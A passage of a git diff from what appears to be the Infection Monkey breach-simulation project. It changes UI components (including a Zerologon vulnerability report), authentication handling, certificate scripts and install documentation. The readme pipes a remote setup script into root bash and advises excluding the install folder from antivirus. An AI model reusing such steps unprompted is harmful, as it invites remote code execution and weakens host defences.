  • + ) + return overview; +} + +export function zerologonIssueReport(issue) { + return ( + <> + Install Windows security updates. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Zerologon exploit. +
    + The attack was possible because the latest security updates from Microsoft + have not been applied to this machine. For more information about this + vulnerability, read + Microsoft's documentation. + {!issue.password_restored ? +
    +
    + + The domain controller's password was changed during the exploit and could not be restored successfully. + Instructions on how to manually reset the domain controller's password can be found here. + +
    : null} +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/utils.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/utils.js new file mode 100644 index 000000000..6bc891201 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/utils.js @@ -0,0 +1,6 @@ +import React from 'react'; + +export function generateInfoBadges(data_array) { + return data_array.map(badge_data => {badge_data}); + } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js index 6b1d22f6f..1296c3086 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js @@ -12,7 +12,7 @@ const columns = [ columns: [ { Header: 'Status', id: 'status', - accessor: x => { + accessor: function getAccessor (x) { return ; }, maxWidth: MAX_WIDTH_STATUS_COLUMN @@ -24,7 +24,7 @@ const columns = [ { Header: 'Monkey Tests', id: 'tests', style: {'whiteSpace': 'unset'}, // This enables word wrap - accessor: x => { + accessor: function getAccessor (x) { return ; } } diff --git a/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx b/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx new file mode 100644 index 000000000..bff4565f3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx @@ -0,0 +1,32 @@ +export class CompletedSteps { + runServer: boolean + runMonkey: boolean + infectionDone: boolean + reportDone: boolean + isLoggedIn: boolean + needsRegistration: boolean + + public constructor(runServer?: boolean, + runMonkey?: boolean, + infectinDone?: boolean, + reportDone?: boolean) { + this.runServer = runServer || false; + this.runMonkey = runMonkey || false; + this.infectionDone = infectinDone || false; + this.reportDone = reportDone || false; + } + + static buildFromResponse(response: CompletedStepsRequest) { + return new CompletedSteps(response.run_server, + response.run_monkey, + response.infection_done, + response.report_done); + } +} + +type CompletedStepsRequest = { + run_server: boolean, + run_monkey: boolean, + infection_done: boolean, + report_done: boolean +} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/UploadStatusIcon.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/UploadStatusIcon.tsx new file mode 100644 index 000000000..5db4790cb --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/UploadStatusIcon.tsx @@ -0,0 +1,23 @@ +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faCheck, faTimes} from '@fortawesome/free-solid-svg-icons'; +import React from 'react'; + + +export const UploadStatuses = { + clean: 'clean', + success: 'success', + error: 'error' +} + +const UploadStatusIcon = (props: { status: string }) => { + switch (props.status) { + case UploadStatuses.success: + return (); + case UploadStatuses.error: + return (); + default: + return null; + } +} + +export default UploadStatusIcon; diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 52658f5a9..d7d1b9c2f 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -1,18 +1,14 @@ -import {SHA3} from 'sha3'; import decode from 'jwt-decode'; export default class AuthService { - // SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' - NO_AUTH_CREDS = - '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' + - '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'; + NO_AUTH_CREDS = '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'; SECONDS_BEFORE_JWT_EXPIRES = 20; AUTHENTICATION_API_ENDPOINT = '/api/auth'; REGISTRATION_API_ENDPOINT = '/api/registration'; login = (username, password) => { - return this._login(username, this.hashSha3(password)); + return this._login(username, password); }; authFetch = (url, options) => { @@ -25,12 +21,6 @@ export default class AuthService { } }; - hashSha3(text) { - let hash = new SHA3(512); - hash.update(text); - return this._toHexStr(hash.digest()); - } - _login = (username, password) => { return this._authFetch(this.AUTHENTICATION_API_ENDPOINT, { method: 'POST', @@ -51,11 +41,7 @@ export default class AuthService { }; register = (username, password) => { - if (password !== '') { - return this._register(username, this.hashSha3(password)); - } else { - return this._register(username, password); - } + return this._register(username, password); }; _register = (username, password) => { @@ -63,7 +49,7 @@ export default class AuthService { method: 'POST', body: JSON.stringify({ 'user': username, - 'password_hash': password + 'password': password }) }).then(res => { if (res.status === 200) { @@ -156,7 +142,4 @@ export default class AuthService { return localStorage.getItem('jwt') } - _toHexStr(byteArr) { - return byteArr.reduce((acc, x) => (acc + ('0' + x.toString(0x10)).slice(-2)), ''); - } } diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 9c6e4abba..00c1320b8 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -21,7 +21,7 @@ body { * Sidebar */ -@media (min-width: 768px) { +@media (min-width: 575px) { .sidebar { position: fixed !important; top: 0; @@ -126,6 +126,15 @@ body { } } +@media (max-width: 575px) { + .guardicore-link img { + height: 28px; + padding-left: 4px; + padding-right: 4px; + vertical-align: middle; + } +} + /* * Main content */ diff --git a/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss b/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss index 2da5087b6..9d89a7e48 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss @@ -11,7 +11,7 @@ } .icon-success { - color: $success + color: $success; } .icon-failed { @@ -26,3 +26,11 @@ transform: rotate(359deg); } } + +.upload-status-icon-success { + color: $success; +} + +.upload-status-icon-error { + color: $danger; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ExportConfigModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ExportConfigModal.scss new file mode 100644 index 000000000..78add3bb3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ExportConfigModal.scss @@ -0,0 +1,30 @@ +.config-export-modal .config-export-password-input p { + display: inline-block; + width: auto; + margin-top: 0; + margin-bottom: 0; + margin-right: 10px; +} + +.config-export-modal .export-type-radio-buttons +.password-radio-button .config-export-password-input input { + display: inline-block; + width: auto; + top: 0; + transform: none; +} + +.config-export-modal .export-type-radio-buttons .password-radio-button input{ + margin-top: 0; + top: 50%; + -ms-transform: translateY(-50%); + transform: translateY(-50%); +} + +.config-export-modal div.config-export-plaintext p.export-warning { + margin-left: 20px; +} + +.config-export-modal div.config-export-plaintext { + margin-top: 15px; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss new file mode 100644 index 000000000..407e8f356 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss @@ -0,0 +1,29 @@ +.config-import-modal .config-import-option .file-input { + display: inline-block; +} + +.config-import-modal .config-import-option .import-error { + margin-top: 10px; +} +.config-import-modal .config-import-option .config-import-password-input { + margin-top: 20px; +} + +.config-import-modal .config-import-option .config-import-password-input p{ + margin-right: 5px; + display: inline-block; + width: auto; +} + +.config-import-modal .config-import-option .config-import-password-input input{ + display: inline-block; + width: auto; +} + +.fade.modal.show.unsafe-config-options-confirmation-modal { + z-index: 2000; +} + +.modal-backdrop.unsafe-config-options-confirmation-modal-backdrop { + z-index: 1900; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackground.scss b/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackground.scss index 0aeec94b2..4aca4d4a8 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackground.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackground.scss @@ -1,5 +1,5 @@ .particle-background { - position: absolute; + position: fixed; top: 0; left: 0; z-index: -100; diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/GettingStartedPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/GettingStartedPage.scss new file mode 100644 index 000000000..35490caf4 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/pages/GettingStartedPage.scss @@ -0,0 +1,11 @@ +.getting-started-page h1.page-title { + margin-bottom: 0px; +} + +#homepage-shortcuts a.d-block { + height: 100%; +} + +#homepage-shortcuts { + margin-bottom: 20px; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss new file mode 100644 index 000000000..fe9e3657b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss @@ -0,0 +1,72 @@ +.landing-page { + background-color: rgba(255, 255, 255, 0.89); + position: absolute !important; + height: 100%; + bottom: 0; +} + +.landing-page h1.page-title { + margin-top: 20px; + margin-bottom: 20px; +} + +.landing-page h2.scenario-choice-title { + margin-bottom: 20px; + margin-left: 12px; +} + +.landing-page .scenario-info { + margin-bottom: 20px; +} + +.landing-page .monkey-description-title { + margin-top: 30px; +} + +.landing-page .d-block { + height: 100%; +} + +.landing-page .guardicore-logo { + position: absolute; + bottom: 10px; + left: 0 !important; +} + +.guardicore-logo .license-text { + position: relative; +} + +.guardicore-logo .version-text { + position: relative; +} + +.landing-page-banner { + display: block; + background-color: #ffcc00; + height:200px; + margin-right: -15px; + margin-left: -15px; +} + +.landing-banner-component { + display: block; + margin-left: auto; + margin-right: auto; + padding-top: 10px; +} + +.landing-banner-monkey-icon { + max-height: 65%; +} + +.landing-banner-title { + padding-bottom: 10px; + max-height: 35%; +} + +.landing-page .scenario-header { + font-size: 1.2em; + margin-top: 30px; + margin-left: 20px; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/RunServerPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/RunServerPage.scss deleted file mode 100644 index e6c1a7497..000000000 --- a/monkey/monkey_island/cc/ui/src/styles/pages/RunServerPage.scss +++ /dev/null @@ -1,3 +0,0 @@ -#homepage-shortcuts a.d-block { - height: 100%; -} diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/AttackReport.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/AttackReport.scss index f459f2707..7423efeae 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/report/AttackReport.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/AttackReport.scss @@ -39,6 +39,10 @@ color: $monkey-yellow; } +.attack-report .ReactTable .rt-resizable-header-content { + text-align: center; +} + .attack-link{ padding: 0 7px 3px 7px !important; } diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/RansomwareReport.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/RansomwareReport.scss new file mode 100644 index 000000000..143e3f835 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/RansomwareReport.scss @@ -0,0 +1,24 @@ +.ransomware-report .report-section-header { + margin-top: 40px; +} + +.numbered-report-section { + margin-top: 2.5em; + margin-bottom: 2.5em; +} + +.numbered-report-section .indented { + padding-left: 2em; +} +.numbered-report-section .description { + display: flex +} + +.numbered-report-section .alert-icon { + margin-top: .28em; + margin-right: .5em; +} + +.ransomware-breach-section .ip-address { + display: inline-block; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss index 520e04e1d..90a635c2a 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss @@ -98,3 +98,7 @@ span.cross-segment-service { .zero-logon-overview-pass-restore-failed svg { margin: 0 10px 0 0; } + +.rt-resizable-header { + text-align: left; +} diff --git a/monkey/monkey_island/cc/ui/tsconfig.json b/monkey/monkey_island/cc/ui/tsconfig.json new file mode 100644 index 000000000..ada32ea6b --- /dev/null +++ b/monkey/monkey_island/cc/ui/tsconfig.json @@ -0,0 +1,14 @@ +{ + "compilerOptions": { + "allowJs": true, + "sourceMap": true, + "module": "commonjs", + "target": "es6", + "jsx": "react", + "esModuleInterop": true + }, + "include": [ + "src" + ], + "compileOnSave": false +} diff --git a/monkey/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js index b1d8b5218..c820b5fd5 100644 --- a/monkey/monkey_island/cc/ui/webpack.config.js +++ b/monkey/monkey_island/cc/ui/webpack.config.js @@ -4,6 +4,13 @@ const HtmlWebPackPlugin = require("html-webpack-plugin"); module.exports = { module: { rules: [ + { test: /\.tsx?$/, + loader: "ts-loader" + }, + { + test: /\.js$/, + loader: "source-map-loader" + }, { test: /\.js$/, exclude: /node_modules/, @@ -54,6 +61,7 @@ module.exports = { } ] }, + devtool: "source-map", plugins: [ new HtmlWebPackPlugin({ template: "./src/index.html", @@ -61,7 +69,7 @@ module.exports = { }) ], resolve: { - extensions: ['.js', '.jsx', '.css'], + extensions: ['.ts', '.tsx', '.js', '.jsx', '.css'], modules: [ 'node_modules', path.resolve(__dirname, 'src/') diff --git a/monkey/monkey_island/linux/create_certificate.sh b/monkey/monkey_island/linux/create_certificate.sh index 985f607bc..acdbd5b9d 100644 --- a/monkey/monkey_island/linux/create_certificate.sh +++ b/monkey/monkey_island/linux/create_certificate.sh @@ -17,12 +17,20 @@ if [ ! -f /tmp/foo.txt ]; then # If the file already exists, assume that the co CREATED_RND_FILE=true fi +umask 377 + echo "Generating key in $server_root/server.key..." openssl genrsa -out "$server_root"/server.key 2048 +chmod 600 "$server_root"/server.key + echo "Generating csr in $server_root/server.csr..." openssl req -new -key "$server_root"/server.key -out "$server_root"/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" +chmod 600 "$server_root"/server.csr + echo "Generating certificate in $server_root/server.crt..." openssl x509 -req -days 366 -in "$server_root"/server.csr -signkey "$server_root"/server.key -out "$server_root"/server.crt +chmod 600 "$server_root"/server.crt + # Shove some new random data into the file to override the original seed we put in. if [ "$CREATED_RND_FILE" = true ] ; then diff --git a/monkey/monkey_island/linux/install_mongo.sh b/monkey/monkey_island/linux/install_mongo.sh index 2bf2d43d4..825daaf5a 100755 --- a/monkey/monkey_island/linux/install_mongo.sh +++ b/monkey/monkey_island/linux/install_mongo.sh @@ -58,7 +58,6 @@ popd || { } mkdir -p "${MONGODB_DIR}"/bin -mkdir -p "${MONGODB_DIR}"/db cp "${TEMP_MONGO}"/mongodb-*/bin/mongod "${MONGODB_DIR}"/bin/mongod cp "${TEMP_MONGO}"/mongodb-*/LICENSE-Community.txt "${MONGODB_DIR}"/ chmod a+x "${MONGODB_DIR}"/bin/mongod diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh deleted file mode 100644 index 2a5c45bbe..000000000 --- a/monkey/monkey_island/linux/run.sh +++ /dev/null @@ -1,16 +0,0 @@ -#!/bin/bash - -# Detecting command that calls python 3.7 -python_cmd="" -if [[ $(python --version 2>&1) == *"Python 3.7"* ]]; then - python_cmd="python" -fi -if [[ $(python37 --version 2>&1) == *"Python 3.7"* ]]; then - python_cmd="python37" -fi -if [[ $(python3.7 --version 2>&1) == *"Python 3.7"* ]]; then - python_cmd="python3.7" -fi - -./monkey_island/bin/mongodb/bin/mongod --dbpath ./monkey_island/bin/mongodb/db & -${python_cmd} ./monkey_island.py diff --git a/monkey/monkey_island/main.py b/monkey/monkey_island/main.py new file mode 100644 index 000000000..19cf07d9f --- /dev/null +++ b/monkey/monkey_island/main.py @@ -0,0 +1,22 @@ +# This import patches other imports and needs to be first +import monkey_island.setup.gevent_setup # noqa: F401 isort:skip + +from monkey_island.cc.server_utils.island_logger import setup_default_failsafe_logging + + +def main(): + # This is here in order to catch EVERYTHING, some functions are being called on + # imports, so the log init needs to be first. + try: + setup_default_failsafe_logging() + except Exception as ex: + print(f"Error configuring logging: {ex}") + exit(1) + + from monkey_island.cc.server_setup import run_monkey_island # noqa: E402 + + run_monkey_island() + + +if "__main__" == __name__: + main() diff --git a/monkey/monkey_island/monkey_island.spec b/monkey/monkey_island/monkey_island.spec index 59f95e34f..624d08ffa 100644 --- a/monkey/monkey_island/monkey_island.spec +++ b/monkey/monkey_island/monkey_island.spec @@ -3,7 +3,7 @@ import os import platform import sys -__author__ = 'itay.mizeretz' + block_cipher = None @@ -16,7 +16,7 @@ def main(): ("../monkey_island/cc/services/attack/attack_data", "/monkey_island/cc/services/attack/attack_data") ] - a = Analysis(['cc/main.py'], + a = Analysis(['main.py'], pathex=['..'], hiddenimports=get_hidden_imports(), hookspath=[os.path.join(".", "pyinstaller_hooks")], diff --git a/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py b/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py index 260d703d5..785d6a36b 100644 --- a/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py +++ b/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py @@ -1,8 +1,9 @@ -# Workaround for packaging Monkey Island using PyInstaller. See https://github.com/oasis-open/cti-python-stix2/issues/218 +# Workaround for packaging Monkey Island using PyInstaller. See +# https://github.com/oasis-open/cti-python-stix2/issues/218 import os from PyInstaller.utils.hooks import get_module_file_attribute -stix2_dir = os.path.dirname(get_module_file_attribute('stix2')) -datas = [(stix2_dir, 'stix2')] +stix2_dir = os.path.dirname(get_module_file_attribute("stix2")) +datas = [(stix2_dir, "stix2")] diff --git a/monkey/monkey_island/readme.md b/monkey/monkey_island/readme.md index c16679b61..8de0a49a9 100644 --- a/monkey/monkey_island/readme.md +++ b/monkey/monkey_island/readme.md @@ -8,36 +8,51 @@ ### On Windows 1. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation. -2. Create folder "bin" under monkey\monkey_island -3. Place portable version of Python 3.7.4 + +1. Create folder "bin" under monkey\monkey_island + +1. Place portable version of Python 3.7.4 - Download and install from: -4. Install Island's requirements - - `python -m pip install -r monkey\monkey_island\requirements.txt` -4. Setup mongodb (Use one of the following two options): + +1. Install pipx + - `pip install --user -U pipx` + - `pipx ensurepath` + +1. Install pipenv + - `pipx install pipenv` + +1. From the `monkey\monkey_island` directory, install python dependencies: + - `pipenv sync --dev` + +1. Setup mongodb (Use one of the following two options): - Place portable version of mongodb 1. Download from: 2. Extract contents of bin folder to \monkey\monkey_island\bin\mongodb. - 3. Create monkey_island\db folder. OR - Use already running instance of mongodb 1. Run 'set MONKEY_MONGO_URL="mongodb://:27017/monkeyisland"'. Replace '' with address of mongo server -5. Place portable version of OpenSSL +1. Place portable version of OpenSSL - Download from: - Extract contents to monkey_island\bin\openssl -6. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017 + +1. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017 - Download and install from: -7. Generate SSL Certificate + +1. Generate SSL Certificate - run `./windows/create_certificate.bat` when your current working directory is monkey_island -8. Put Infection Monkey binaries inside monkey_island/cc/binaries (binaries can be found in releases on github or build from source) + +1. Put Infection Monkey binaries inside monkey_island/cc/binaries (binaries can be found in releases on github or build from source) monkey-linux-64 - monkey binary for linux 64bit monkey-linux-32 - monkey binary for linux 32bit monkey-windows-32.exe - monkey binary for windows 32bit monkey-windows-64.exe - monkey binary for windows 64bit -9. Install npm + +1. Install npm - Download and install from: -10. Build Monkey Island frontend + +1. Build Monkey Island frontend - cd to 'monkey_island\cc\ui' - run 'npm update' - run 'npm run dist' @@ -48,36 +63,49 @@ ### On Linux +1. Set your current working directory to `monkey/`. + 1. Get python 3.7 and pip if your linux distribution doesn't have it built in (following steps are for Ubuntu 16): - `sudo add-apt-repository ppa:deadsnakes/ppa` - `sudo apt-get update` - - `sudo apt install python3.7 python3-pip python3.7-dev` + - `sudo apt install python3.7 python3-pip python3.7-dev python3.7-venv` - `python3.7 -m pip install pip` -2. Install required packages: + +1. Install pipx: + - `python3.7 -m pip install --user pipx` + - `python3.7 -m pipx ensurepath` + - `source ~/.profile` + +1. Install pipenv: + - `pipx install pipenv` + +1. Install required packages: - `sudo apt-get install libffi-dev upx libssl-dev libc++1 openssl` -3. Create the following directories in monkey island folder (execute from ./monkey): + +1. Install the Monkey Island python dependencies: + - `cd ./monkey_island` + - `pipenv sync --dev` + - `cd ..` + +1. Create the following directories in monkey island folder (execute from ./monkey): - `mkdir -p ./monkey_island/bin/mongodb` - - `mkdir -p ./monkey_island/db` - `mkdir -p ./monkey_island/cc/binaries` -4. Install the packages from monkey_island/requirements.txt: - - `sudo python3.7 -m pip install -r ./monkey_island/requirements.txt` +1. Put monkey binaries in /monkey_island/cc/binaries (binaries can be found in releases on github). -5. Put monkey binaries in /monkey_island/cc/binaries (binaries can be found in releases on github). - monkey-linux-64 - monkey binary for linux 64bit - + monkey-linux-32 - monkey binary for linux 32bit - + monkey-windows-32.exe - monkey binary for windows 32bit - + monkey-windows-64.exe - monkey binary for windows 64bit - + Also, if you're going to run monkeys on local machine execute: - `chmod 755 ./monkey_island/cc/binaries/monkey-linux-64` - `chmod 755 ./monkey_island/cc/binaries/monkey-linux-32` -6. Setup MongoDB (Use one of the two following options): +1. Setup MongoDB (Use one of the two following options): - Download MongoDB and extract it to monkey/monkey_island/bin/mongodb: 1. Run `./monkey_island/linux/install_mongo.sh ./monkey_island/bin/mongodb`. This will download and extract the relevant mongoDB for your OS. @@ -85,17 +113,17 @@ - Use already running instance of mongodb 1. Run `set MONKEY_MONGO_URL="mongodb://:27017/monkeyisland"`. Replace '' with address of mongo server -7. Generate SSL Certificate: +1. Generate SSL Certificate: - `cd ./monkey_island` - `chmod 755 ./linux/create_certificate.sh` - `./linux/create_certificate.sh` -8. Install npm and node by running: +1. Install npm and node by running: - `sudo apt-get install curl` - `curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -` - `sudo apt-get install -y nodejs` -9. Build Monkey Island frontend +1. Build Monkey Island frontend - cd to 'monkey_island/cc/ui' - `npm install sass-loader node-sass webpack --save-dev` - `npm update` @@ -103,4 +131,20 @@ #### How to run -1. When your current working directory is monkey, run `chmod 755 ./monkey_island/linux/run.sh` followed by `./monkey_island/linux/run.sh` (located under /linux) +1. From the `monkey` directory, run `python3.7 ./monkey_island.py` + + +#### Troubleshooting + +When committing your changes for the first time, you may encounter some errors thrown by the pre-commit hooks. This is most likely because some python dependencies are missing from your system. +To resolve this, use `pipenv` to create a `requirements.txt` for both the `infection_monkey/` and `monkey_island/` requirements and install it with `pip`. + + - `cd [code location]/infection_monkey` + - `python3.7 -m pipenv lock -r --dev > requirements.txt` + - `python3.7 -m pip install -r requirements.txt` + + and + + - `cd [code location]/monkey_island` + - `python3.7 -m pipenv lock -r --dev > requirements.txt` + - `python3.7 -m pip install -r requirements.txt` diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt deleted file mode 100644 index b5be47a88..000000000 --- a/monkey/monkey_island/requirements.txt +++ /dev/null @@ -1,31 +0,0 @@ -Flask-JWT-Extended==3.24.1 -Flask-Pymongo>=2.3.0 -Flask-Restful>=0.3.8 -PyInstaller==3.6 -awscli==1.18.131 -boto3==1.14.54 -botocore==1.17.54 -cffi>=1.8,!=1.11.3 -dpath>=2.0 -flask>=1.1 -gevent>=20.9.0 -ipaddress>=1.0.23 -jsonschema==3.2.0 -mongoengine==0.20 -mongomock==3.19.0 -netifaces>=0.10.9 -pycryptodome==3.9.8 -pytest>=5.4 -python-dateutil>=2.1,<3.0.0 -requests>=2.24 -requests-mock==1.8.0 -ring>=0.7.3 -stix2>=2.0.2 -six>=1.13.0 -tqdm>=4.47 -virtualenv>=20.0.26 -werkzeug>=1.0.1 -wheel>=0.34.2 -git+https://github.com/guardicode/ScoutSuite - -pyjwt==1.7 # not directly required, pinned by Snyk to avoid a vulnerability diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py deleted file mode 100644 index 61212e734..000000000 --- a/monkey/monkey_island/scripts/island_password_hasher.py +++ /dev/null @@ -1,26 +0,0 @@ -""" -Utility script for running a string through SHA3_512 hash. -Used for Monkey Island password hash, see -https://github.com/guardicore/monkey/wiki/Enabling-Monkey-Island-Password-Protection -for more details. -""" - -import argparse - -# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but -# is maintained. -from Crypto.Hash import SHA3_512 # noqa: DUO133 # nosec: B413 - - -def main(): - parser = argparse.ArgumentParser() - parser.add_argument("string_to_sha", help="The string to do sha for") - args = parser.parse_args() - - h = SHA3_512.new() - h.update(args.string_to_sha) - print(h.hexdigest()) - - -if __name__ == '__main__': - main() diff --git a/monkey/monkey_island/setup/__init__.py b/monkey/monkey_island/setup/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/setup/gevent_setup.py b/monkey/monkey_island/setup/gevent_setup.py new file mode 100644 index 000000000..9fa2b47f9 --- /dev/null +++ b/monkey/monkey_island/setup/gevent_setup.py @@ -0,0 +1,6 @@ +from gevent import monkey as gevent_monkey + +# We need to monkeypatch before any other imports to +# make standard libraries compatible with gevent. +# http://www.gevent.org/api/gevent.monkey.html +gevent_monkey.patch_all() diff --git a/monkey/monkey_island/windows/clear_db.bat b/monkey/monkey_island/windows/clear_db.bat deleted file mode 100644 index 8597f3d32..000000000 --- a/monkey/monkey_island/windows/clear_db.bat +++ /dev/null @@ -1,4 +0,0 @@ -@echo Are you sure? (Press Any Key) -@pause -@rmdir /s /q db -@mkdir db \ No newline at end of file diff --git a/monkey/monkey_island/windows/create_certificate.bat b/monkey/monkey_island/windows/create_certificate.bat index 645c6fa25..8f4d62dbe 100644 --- a/monkey/monkey_island/windows/create_certificate.bat +++ b/monkey/monkey_island/windows/create_certificate.bat @@ -16,3 +16,17 @@ copy "%mydir%windows\openssl.cfg" "%mydir%bin\openssl\openssl.cfg" "%mydir%bin\openssl\openssl.exe" genrsa -out "%mydir%cc\server.key" 1024 "%mydir%bin\openssl\openssl.exe" req -new -config "%mydir%bin\openssl\openssl.cfg" -key "%mydir%cc\server.key" -out "%mydir%cc\server.csr" -subj "/OU=Monkey Department/CN=monkey.com" "%mydir%bin\openssl\openssl.exe" x509 -req -days 366 -in "%mydir%cc\server.csr" -signkey "%mydir%cc\server.key" -out "%mydir%cc\server.crt" + + +:: Change file permissions +SET adminsIdentity="BUILTIN\Administrators" +FOR /f "delims=''" %%O IN ('whoami') DO SET ownIdentity=%%O + +FOR %%F IN ("%mydir%cc\server.key", "%mydir%cc\server.csr", "%mydir%cc\server.crt") DO ( + + :: Remove all others and add admins rule (with full control) + echo y| cacls %%F /p %adminsIdentity%:F + + :: Add user rule (with read) + echo y| cacls %%F /e /p "%ownIdentity%":R +) diff --git a/monkey/monkey_island/windows/run_mongodb.bat b/monkey/monkey_island/windows/run_mongodb.bat deleted file mode 100644 index 106b5f00a..000000000 --- a/monkey/monkey_island/windows/run_mongodb.bat +++ /dev/null @@ -1,3 +0,0 @@ -REM - Runs MongoDB Server - -@title MongoDB -@bin\mongodb\mongod.exe --dbpath db --bind_ip 127.0.0.1 \ No newline at end of file diff --git a/monkey/monkey_island/windows/run_server.bat b/monkey/monkey_island/windows/run_server.bat index ab2ad274c..5e5331a2e 100644 --- a/monkey/monkey_island/windows/run_server.bat +++ b/monkey/monkey_island/windows/run_server.bat @@ -1,5 +1,3 @@ REM - Runs MongoDB Server & Monkey Island Server using built pyinstaller EXE - -if not exist db mkdir db -start windows\run_mongodb.bat start windows\run_cc_exe.bat -start https://localhost:5000 \ No newline at end of file +start https://localhost:5000 diff --git a/monkey/monkey_island/windows/run_server_py.bat b/monkey/monkey_island/windows/run_server_py.bat index 07a587f49..a727211ea 100644 --- a/monkey/monkey_island/windows/run_server_py.bat +++ b/monkey/monkey_island/windows/run_server_py.bat @@ -1,5 +1,3 @@ REM - Runs MongoDB Server & Monkey Island Server using python - -if not exist db mkdir db -start windows\run_mongodb.bat -start windows\run_cc.bat -start https://localhost:5000 \ No newline at end of file +pipenv run windows\run_cc.bat +start https://localhost:5000 diff --git a/monkey/pytest.ini b/monkey/pytest.ini deleted file mode 100644 index 9b1766fc2..000000000 --- a/monkey/pytest.ini +++ /dev/null @@ -1,7 +0,0 @@ -[pytest] -log_cli = 1 -log_cli_level = DEBUG -log_cli_format = %(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s -log_cli_date_format=%H:%M:%S -addopts = -v --capture=sys --ignore=common/cloud/scoutsuite -norecursedirs = node_modules dist diff --git a/monkey/tests/__init__.py b/monkey/tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/island_logger_default_config.json b/monkey/tests/data_for_tests/logger_config.json similarity index 95% rename from monkey/monkey_island/cc/island_logger_default_config.json rename to monkey/tests/data_for_tests/logger_config.json index 522177cda..b3ad82641 100644 --- a/monkey/monkey_island/cc/island_logger_default_config.json +++ b/monkey/tests/data_for_tests/logger_config.json @@ -17,7 +17,7 @@ "class": "logging.handlers.RotatingFileHandler", "level": "INFO", "formatter": "simple", - "filename": 